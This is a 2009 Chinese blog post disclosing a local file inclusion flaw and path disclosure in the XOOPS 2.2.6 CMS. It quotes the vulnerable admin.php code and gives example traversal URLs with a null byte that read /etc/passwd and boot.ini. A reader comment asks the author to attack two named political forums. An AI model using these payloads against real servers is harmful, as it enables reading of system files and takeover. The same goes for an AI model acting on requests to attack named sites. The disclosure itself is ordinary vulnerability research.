Oct
29

XOOPS 2.2.6 鸡肋本地包含漏洞

不经意的遇到这个国外的CMS系统:XOOPS 2.2.6,google了下,版本比较老了,没发现有什么已知漏洞,于是下源码自己看,还是没发现有啥可以利用了,只不过看到了几个鸡肋,于是发出来。

XOOPS is a web application platform written in PHP for the MySQL database.Its object orientation makes it an ideal tool for developing small or large community websites, intra company and corporate portals, weblogs and much more. (Reference : http://www.xoops.org).

1.Local File Inclusion Vulnerabilities:

/*
works with:
magic_quotes_gpc = Off
*/

现在能遇到这个php配置的,简直可以去买彩票了,所以够鸡肋的。

Local File Include vulnerability found in scripts:
modules/system/admin.php

看源码:

<?php
if (isset($_POST['fct'])) {
    
$fct trim($_POST['fct']);
}
if (isset(
$_GET['fct'])) {
    
$fct trim($_GET['fct']);
}
$xoopsOption['pagetype'] = "admin";
include 
"../../mainfile.php";
//利用时需要注册用户并登陆
if (!$xoopsUser) {
    
redirect_header(XOOPS_URL."/user.php"3_AD_NORIGHT);
}
include 
XOOPS_ROOT_PATH."/include/cp_functions.php";

include_once 
XOOPS_ROOT_PATH."/modules/system/constants.php";
$error false;
if (isset(
$fct) && $fct != '') {
    if (
file_exists(XOOPS_ROOT_PATH."/modules/system/admin/".$fct."/xoops_version.php")) {

        if (
file_exists(XOOPS_ROOT_PATH."/modules/system/language/".$xoopsConfig['language']."/admin/".$fct.".php")) {
            include 
XOOPS_ROOT_PATH."/modules/system/language/".$xoopsConfig['language']."/admin/".$fct.".php";
        } elseif (
file_exists(XOOPS_ROOT_PATH."/modules/system/language/english/admin/".$fct.".php")) {
            include 
XOOPS_ROOT_PATH."/modules/system/language/english/admin/".$fct.".php";
        }
        include 
XOOPS_ROOT_PATH."/modules/system/admin/".$fct."/xoops_version.php";
...
?>

If magic_quotes_gpc is disabled, it's possible to control the "$fct" variable content and inject an arbitrary filename (followed by a NULL byte (%00) to make file_exists() function ignore the
following "/xoops_version.php"), resulting in file content inclusion in application response.

构造fct,基本如果gpc为off,拿shell不成问题。

Example:
http://[server]/[installdir]/modules/system/admin.php?fct=../../../../../../../boot.ini%00
http://[server]/[installdir]/modules/system/admin.php?fct=../../../../../../../etc/passwd%00

2.路径泄露:

很多文件直接访问可以泄露路径:
/class/uploader.php
/class/theme.php

其实在gpc为off下,有第一个漏洞就可以拿下了,但gpc为off太难了,鸡肋鸡肋。

想说一下的是XOOPS系统整体还是很安全的,我看的这个版本已经够老的了,但安全却一点都没马虎,milw0rm上搜了下,XOOPS系统出问题的基本都是modules,各种模块可能有问题,但主系统却没~

现在的程序越来越安全了,大家有0day的藏着深深的,千万别透露出来...

共有10条评论

  1. 暗夜潜风: Oct,30th,2009

    "现在的程序越来越安全了,大家有0day的藏着深深的,千万别透露出来..."

    .....

  2. [...]作者:Oldjun[...]

  3. 秦浩天: Nov,15th,2009

    额~老军大哥,一直在佩服您的爱过情绪
    我是一个在国外上学的人,在国外没有和谐和其他的措施下
    我可以看到很多在国内看不见的东西。
    看见他的存在就气的我牙痒痒
    至于我希望您能做点什么,全凭您自愿。
    第一个是热血汉奸论坛。大部分都是些分裂份子在上、如下
    http://www.rxhj.net/phpBB2/index.php
    第二个是南方论坛,是台湾绿营的,也是诋毁GCD的字和反华实力的字眼,如下
    http://www.news100.com.tw/index.php
    如果您不能帮忙,希望您能提供下其他黑客的联系方式
    我也可以去求他人
    这些人的存在,就是赤裸裸的垃圾。

  4. 秦浩天: Nov,15th,2009

    您这留言还需要经过管理员么?
    我想向你提供两个网站··可是被网站说有敏感词汇
    可以联系我下
    mulang_007@163.com

  5. 孟.com: Nov,16th,2009

    支持oldjun

  6. Michael: Nov,17th,2009

    能换个友情链接吗? http://subin.org.cn/BLOG

  7. no8086: Nov,17th,2009

    等待老君周六的讲座

  8. oldjun: Nov,18th,2009

    to 秦浩天 这种网站国家安全部门会管的,放心~而且他们管还有经费的~不过效率怎么样,就不得而知了。

  9. MaJia: Apr,1st,2010

    to Jun,XOOPS不全是国外的CMS, 起源是3个人,一个JP的,一个大陆的,一个台湾的,后来,种种原因,大陆的程序员不做了!,现在,做内核主力开发的,仍然是大陆人, 山东的,北京大学的博士,现在在NCsoft工作,上海!

    XOOPS 3.0最近也快要出来了!

NAME:

required

E-MAIL:

required, will not be published

HOMEPAGE:

CONTENT:

VERIFY:(请输入A后的英文字母!)

required